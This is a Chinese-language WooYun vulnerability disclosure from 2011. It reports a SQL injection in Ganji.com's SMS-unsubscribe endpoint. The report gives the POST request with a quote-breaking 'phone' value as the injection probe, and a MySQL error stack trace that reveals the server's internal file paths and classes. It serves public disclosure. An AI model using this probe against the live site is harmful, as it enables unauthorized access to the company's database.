漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2011-01212
漏洞标题:赶集网SQL注入BUG
相关厂商:赶集网
漏洞作者: Jannock
提交时间:2011-01-23 09:28
修复时间:2011-01-25 22:25
公开时间:2011-01-25 22:25
漏洞类型:SQL注射漏洞
危害等级:低
自评Rank:5
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2011-01-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2011-01-25: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
赶集网SQL注入BUG
详细说明:
http://v.ganji.com/
退订那里。
$.post('/event/cancelSmsNotify/' , {phone : "sdf'dsf"} , function(ret) {
alert('退订成功');
})
注入参数 phone
漏洞证明:
phone=sdf'dsf
<br />
<b>Fatal error</b>: Uncaught exception 'Exception' with message '1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'dsf'' at line 1' in /data/server/www/ganji_v3/framework/data/DBMysqli.class.php:118
Stack trace:
#0 /data/server/www/ganji_v3/framework/base/BaseModel.class.php(58): DBMysqli->execute('UPDATE `phone_l...')
#1 /data/server/www/ganji_v3/apps/lottery/model/LotteryUserModel.php(297): BaseModel->update(Array, Array)
#2 /data/server/www/ganji_v3/apps/lottery/controller/LotteryEventController.php(389): LotteryUserModel->updateUserByPhone(Array, 'sdf'dsf')
#3 /data/server/www/ganji_v3/apps/lottery/common/LotteryFront.php(130): LotteryEventController::cancelSmsNotifyAction()
#4 /data/server/www/ganji_v3/apps/lottery/index.php(16): LotteryFront->dispatch()
#5 {main}
thrown in <b>/data/server/www/ganji_v3/framework/data/DBMysqli.class.php</b> on line <b>118</b><br />
修复方案:
你懂得。。
版权声明:转载请注明来源 Jannock@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝
漏洞Rank:6 (WooYun评价)